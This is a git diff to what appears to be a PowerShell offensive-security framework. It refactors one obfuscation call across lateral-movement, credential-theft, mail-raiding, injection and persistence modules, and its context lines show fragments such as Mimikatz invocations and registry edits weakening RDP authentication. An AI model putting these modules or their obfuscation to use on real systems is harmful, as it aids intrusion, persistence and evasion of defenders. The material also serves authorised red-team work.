index d811188..9d97fd5 100644
--- a/lib/modules/powershell/exploitation/exploit_jenkins.py
+++ b/lib/modules/powershell/exploitation/exploit_jenkins.py
@@ -95,6 +95,6 @@ class Module:
           scriptEnd += " -Cmd " + command
 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/inveigh_relay.py b/lib/modules/powershell/lateral_movement/inveigh_relay.py
index 396aa44..93c4982 100644
--- a/lib/modules/powershell/lateral_movement/inveigh_relay.py
+++ b/lib/modules/powershell/lateral_movement/inveigh_relay.py
@@ -193,6 +193,6 @@ class Module:
                         else:
                             scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_dcom.py b/lib/modules/powershell/lateral_movement/invoke_dcom.py
index ba766c3..76b28d7 100644
--- a/lib/modules/powershell/lateral_movement/invoke_dcom.py
+++ b/lib/modules/powershell/lateral_movement/invoke_dcom.py
@@ -131,6 +131,6 @@ class Module:
 
         scriptEnd += "| Out-String | %{$_ + \"`n\"};"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py b/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py
index cdafed5..519124d 100644
--- a/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py
+++ b/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py
@@ -185,6 +185,6 @@ class Module:
 
         scriptEnd += " | Out-String"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_psexec.py b/lib/modules/powershell/lateral_movement/invoke_psexec.py
index ca5fb57..c8f81c1 100644
--- a/lib/modules/powershell/lateral_movement/invoke_psexec.py
+++ b/lib/modules/powershell/lateral_movement/invoke_psexec.py
@@ -146,6 +146,6 @@ class Module:
 
         scriptEnd += "| Out-String | %{$_ + \"`n\"};"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_psremoting.py b/lib/modules/powershell/lateral_movement/invoke_psremoting.py
index e238d20..2f7879b 100644
--- a/lib/modules/powershell/lateral_movement/invoke_psremoting.py
+++ b/lib/modules/powershell/lateral_movement/invoke_psremoting.py
@@ -136,5 +136,5 @@ class Module:
 
                 script += ";'Invoke-PSRemoting executed on " +computerNames +"'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py
index 316cae5..2bfdbd2 100644
--- a/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py
+++ b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py
@@ -132,6 +132,6 @@ class Module:
         if password != "":
             scriptEnd += " -Password "+password
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py
index 7cef7e8..0464e0b 100644
--- a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py
+++ b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py
@@ -123,6 +123,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_wmi.py b/lib/modules/powershell/lateral_movement/invoke_wmi.py
index 23e5fb5..db318bc 100644
--- a/lib/modules/powershell/lateral_movement/invoke_wmi.py
+++ b/lib/modules/powershell/lateral_movement/invoke_wmi.py
@@ -145,5 +145,5 @@ class Module:
 
                 script += ";'Invoke-Wmi executed on " +computerNames +"'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
diff --git a/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py
index afbd7b0..f7508a3 100644
--- a/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py
+++ b/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py
@@ -187,6 +187,6 @@ class Module:
 
         script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
 
diff --git a/lib/modules/powershell/lateral_movement/jenkins_script_console.py b/lib/modules/powershell/lateral_movement/jenkins_script_console.py
index 16b49e4..cb70a24 100644
--- a/lib/modules/powershell/lateral_movement/jenkins_script_console.py
+++ b/lib/modules/powershell/lateral_movement/jenkins_script_console.py
@@ -121,6 +121,6 @@ class Module:
         scriptEnd += " -Port "+str(self.options['Port']['Value'])
         scriptEnd += " -Cmd \"" + launcher + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py
index cd01e68..3202f92 100644
--- a/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py
+++ b/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py
@@ -162,5 +162,5 @@ class Module:
 
                 script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
                 if obfuscate:
-                    script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                    script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
                 return script
diff --git a/lib/modules/powershell/management/disable_rdp.py b/lib/modules/powershell/management/disable_rdp.py
index 3cb332a..dd368c7 100644
--- a/lib/modules/powershell/management/disable_rdp.py
+++ b/lib/modules/powershell/management/disable_rdp.py
@@ -55,5 +55,5 @@ class Module:
         # command to enable NLA only if the enable runs successfully
         script += " if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/downgrade_account.py b/lib/modules/powershell/management/downgrade_account.py
index a711b0f..3d385df 100644
--- a/lib/modules/powershell/management/downgrade_account.py
+++ b/lib/modules/powershell/management/downgrade_account.py
@@ -100,5 +100,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/enable_multi_rdp.py b/lib/modules/powershell/management/enable_multi_rdp.py
index 1db6588..b3eb8d1 100644
--- a/lib/modules/powershell/management/enable_multi_rdp.py
+++ b/lib/modules/powershell/management/enable_multi_rdp.py
@@ -73,6 +73,6 @@ class Module:
 
         scriptEnd = "Invoke-Mimikatz -Command '\"ts::multirdp\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/enable_rdp.py b/lib/modules/powershell/management/enable_rdp.py
index e7a27a5..4c45a8e 100644
--- a/lib/modules/powershell/management/enable_rdp.py
+++ b/lib/modules/powershell/management/enable_rdp.py
@@ -57,5 +57,5 @@ class Module:
         # command to disable NLA
         script += "$null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/get_domain_sid.py b/lib/modules/powershell/management/get_domain_sid.py
index 1c10faa..61786bf 100644
--- a/lib/modules/powershell/management/get_domain_sid.py
+++ b/lib/modules/powershell/management/get_domain_sid.py
@@ -84,5 +84,5 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/honeyhash.py b/lib/modules/powershell/management/honeyhash.py
index 575fd97..899b985 100644
--- a/lib/modules/powershell/management/honeyhash.py
+++ b/lib/modules/powershell/management/honeyhash.py
@@ -90,6 +90,6 @@ class Module:
                 if values['Value'] and values['Value'] != '':
                     scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/invoke_script.py b/lib/modules/powershell/management/invoke_script.py
index 1b0b4f4..f828e33 100644
--- a/lib/modules/powershell/management/invoke_script.py
+++ b/lib/modules/powershell/management/invoke_script.py
@@ -77,5 +77,5 @@ class Module:
 
         script += "%s" %(scriptCmd)
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/lock.py b/lib/modules/powershell/management/lock.py
index 9315a87..83b339d 100644
--- a/lib/modules/powershell/management/lock.py
+++ b/lib/modules/powershell/management/lock.py
@@ -87,5 +87,5 @@ Function Invoke-LockWorkStation {
 Invoke-LockWorkStation; "Workstation locked."
 """
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/logoff.py b/lib/modules/powershell/management/logoff.py
index 4508776..8eef8c3 100644
--- a/lib/modules/powershell/management/logoff.py
+++ b/lib/modules/powershell/management/logoff.py
@@ -62,5 +62,5 @@ class Module:
         else:
             script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/mailraider/disable_security.py b/lib/modules/powershell/management/mailraider/disable_security.py
index 7bf6639..ebb3d86 100644
--- a/lib/modules/powershell/management/mailraider/disable_security.py
+++ b/lib/modules/powershell/management/mailraider/disable_security.py
@@ -110,6 +110,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/mailraider/get_emailitems.py b/lib/modules/powershell/management/mailraider/get_emailitems.py
index d7229cf..8a9f219 100644
--- a/lib/modules/powershell/management/mailraider/get_emailitems.py
+++ b/lib/modules/powershell/management/mailraider/get_emailitems.py
@@ -87,6 +87,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/mailraider/get_subfolders.py b/lib/modules/powershell/management/mailraider/get_subfolders.py
index e61c68d..46856a1 100644
--- a/lib/modules/powershell/management/mailraider/get_subfolders.py
+++ b/lib/modules/powershell/management/mailraider/get_subfolders.py
@@ -87,6 +87,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/mailraider/mail_search.py b/lib/modules/powershell/management/mailraider/mail_search.py
index 9494cfd..f0c85fe 100644
--- a/lib/modules/powershell/management/mailraider/mail_search.py
+++ b/lib/modules/powershell/management/mailraider/mail_search.py
@@ -112,6 +112,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/mailraider/search_gal.py b/lib/modules/powershell/management/mailraider/search_gal.py
index db46b09..971e4e9 100644
--- a/lib/modules/powershell/management/mailraider/search_gal.py
+++ b/lib/modules/powershell/management/mailraider/search_gal.py
@@ -107,6 +107,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/mailraider/send_mail.py b/lib/modules/powershell/management/mailraider/send_mail.py
index d25094f..e5733ad 100644
--- a/lib/modules/powershell/management/mailraider/send_mail.py
+++ b/lib/modules/powershell/management/mailraider/send_mail.py
@@ -117,6 +117,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/mailraider/view_email.py b/lib/modules/powershell/management/mailraider/view_email.py
index 3495c56..f162fda 100644
--- a/lib/modules/powershell/management/mailraider/view_email.py
+++ b/lib/modules/powershell/management/mailraider/view_email.py
@@ -92,6 +92,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/psinject.py b/lib/modules/powershell/management/psinject.py
index 1c8c9da..cd22b64 100644
--- a/lib/modules/powershell/management/psinject.py
+++ b/lib/modules/powershell/management/psinject.py
@@ -133,6 +133,6 @@ class Module:
                 else:
                     scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode)
                 if obfuscate:
-                    scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                 script += scriptEnd
                 return script
diff --git a/lib/modules/powershell/management/reflective_inject.py b/lib/modules/powershell/management/reflective_inject.py
index 1bb50a9..e5d19ea 100644
--- a/lib/modules/powershell/management/reflective_inject.py
+++ b/lib/modules/powershell/management/reflective_inject.py
@@ -146,7 +146,7 @@ class Module:
                 UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
 
                 if obfuscate:
-                    scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
 
                 script += "\r\n"
                 script += UploadScript
diff --git a/lib/modules/powershell/management/restart.py b/lib/modules/powershell/management/restart.py
index 867a650..dee7562 100644
--- a/lib/modules/powershell/management/restart.py
+++ b/lib/modules/powershell/management/restart.py
@@ -52,5 +52,5 @@ class Module:
         
         script = "'Restarting computer';Restart-Computer -Force"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/runas.py b/lib/modules/powershell/management/runas.py
index c61dfb1..1978eb7 100644
--- a/lib/modules/powershell/management/runas.py
+++ b/lib/modules/powershell/management/runas.py
@@ -138,6 +138,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/sid_to_user.py b/lib/modules/powershell/management/sid_to_user.py
index 20f81c3..9978ce0 100644
--- a/lib/modules/powershell/management/sid_to_user.py
+++ b/lib/modules/powershell/management/sid_to_user.py
@@ -57,5 +57,5 @@ class Module:
         
         script = "(New-Object System.Security.Principal.SecurityIdentifier(\"%s\")).Translate( [System.Security.Principal.NTAccount]).Value" %(self.options['SID']['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/spawn.py b/lib/modules/powershell/management/spawn.py
index 80e29df..30bd569 100644
--- a/lib/modules/powershell/management/spawn.py
+++ b/lib/modules/powershell/management/spawn.py
@@ -100,5 +100,5 @@ class Module:
 
             code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName)
             if obfuscate:
-                code = helpers.obfuscate(psScript=code, obfuscationCommand=obfuscationCommand)
+                code = helpers.obfuscate(self.mainMenu.installPath, psScript=code, obfuscationCommand=obfuscationCommand)
             return code
diff --git a/lib/modules/powershell/management/spawnas.py b/lib/modules/powershell/management/spawnas.py
index 43151eb..d54baa6 100644
--- a/lib/modules/powershell/management/spawnas.py
+++ b/lib/modules/powershell/management/spawnas.py
@@ -157,6 +157,6 @@ class Module:
 
         scriptEnd += "-Cmd \"$env:public\debug.bat\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/switch_listener.py b/lib/modules/powershell/management/switch_listener.py
index 8d5b3da..e021401 100644
--- a/lib/modules/powershell/management/switch_listener.py
+++ b/lib/modules/powershell/management/switch_listener.py
@@ -71,5 +71,5 @@ class Module:
         # signal the existing listener that we're switching listeners, and the new comms code
         commsCode = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (listenerName, commsCode)
         if obfuscate:
-            commsCode = helpers.obfuscate(psScript=commsCode, obfuscationCommand=obfuscationCommand)
+            commsCode = helpers.obfuscate(self.mainMenu.installPath, psScript=commsCode, obfuscationCommand=obfuscationCommand)
         return commsCode
diff --git a/lib/modules/powershell/management/timestomp.py b/lib/modules/powershell/management/timestomp.py
index bb20f46..69a5b91 100644
--- a/lib/modules/powershell/management/timestomp.py
+++ b/lib/modules/powershell/management/timestomp.py
@@ -108,6 +108,6 @@ class Module:
 
         scriptEnd += "| Out-String"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/user_to_sid.py b/lib/modules/powershell/management/user_to_sid.py
index 861b7bd..b6bbddd 100644
--- a/lib/modules/powershell/management/user_to_sid.py
+++ b/lib/modules/powershell/management/user_to_sid.py
@@ -63,5 +63,5 @@ class Module:
         script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" %(self.options['Domain']['Value'], self.options['User']['Value'])
    
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/vnc.py b/lib/modules/powershell/management/vnc.py
index e3ef899..e8f4836 100644
--- a/lib/modules/powershell/management/vnc.py
+++ b/lib/modules/powershell/management/vnc.py
@@ -102,6 +102,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/management/wdigest_downgrade.py b/lib/modules/powershell/management/wdigest_downgrade.py
index c8edfda..ecec54f 100644
--- a/lib/modules/powershell/management/wdigest_downgrade.py
+++ b/lib/modules/powershell/management/wdigest_downgrade.py
@@ -151,5 +151,5 @@ function Invoke-WdigestDowngrade {
                     else:
                         script += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/management/zipfolder.py b/lib/modules/powershell/management/zipfolder.py
index 8771365..8dc5ca5 100644
--- a/lib/modules/powershell/management/zipfolder.py
+++ b/lib/modules/powershell/management/zipfolder.py
@@ -93,5 +93,5 @@ Invoke-ZipFolder"""
                 if values['Value'] and values['Value'] != '':
                     script += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/elevated/registry.py b/lib/modules/powershell/persistence/elevated/registry.py
index 8fd7f1d..2ab37ac 100644
--- a/lib/modules/powershell/persistence/elevated/registry.py
+++ b/lib/modules/powershell/persistence/elevated/registry.py
@@ -205,5 +205,5 @@ class Module:
 
         script += "'Registry persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/elevated/schtasks.py b/lib/modules/powershell/persistence/elevated/schtasks.py
index 3f130c0..fbad434 100644
--- a/lib/modules/powershell/persistence/elevated/schtasks.py
+++ b/lib/modules/powershell/persistence/elevated/schtasks.py
@@ -161,7 +161,7 @@ class Module:
             script += "schtasks /Delete /F /TN "+taskName+";"
             script += "'Schtasks persistence removed.'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
 
         if extFile != '':
@@ -241,5 +241,5 @@ class Module:
             statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."
         script += "'Schtasks persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/elevated/wmi.py b/lib/modules/powershell/persistence/elevated/wmi.py
index 50e82a9..9b68e0c 100644
--- a/lib/modules/powershell/persistence/elevated/wmi.py
+++ b/lib/modules/powershell/persistence/elevated/wmi.py
@@ -124,7 +124,7 @@ class Module:
             script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
             script += "'WMI persistence removed.'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
 
         if extFile != '':
@@ -199,5 +199,5 @@ class Module:
 
         script += "'WMI persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/misc/add_netuser.py b/lib/modules/powershell/persistence/misc/add_netuser.py
index 0d41676..44fc980 100644
--- a/lib/modules/powershell/persistence/misc/add_netuser.py
+++ b/lib/modules/powershell/persistence/misc/add_netuser.py
@@ -107,5 +107,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/misc/add_sid_history.py b/lib/modules/powershell/persistence/misc/add_sid_history.py
index 914b281..9f148f2 100644
--- a/lib/modules/powershell/persistence/misc/add_sid_history.py
+++ b/lib/modules/powershell/persistence/misc/add_sid_history.py
@@ -90,6 +90,6 @@ class Module:
         # base64 encode the command to pass to Invoke-Mimikatz
         scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/persistence/misc/debugger.py b/lib/modules/powershell/persistence/misc/debugger.py
index 19be5a7..f9f8c6f 100644
--- a/lib/modules/powershell/persistence/misc/debugger.py
+++ b/lib/modules/powershell/persistence/misc/debugger.py
@@ -94,7 +94,7 @@ class Module:
             # the registry command to disable the debugger for Utilman.exe
             script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary)
             if obfuscate:
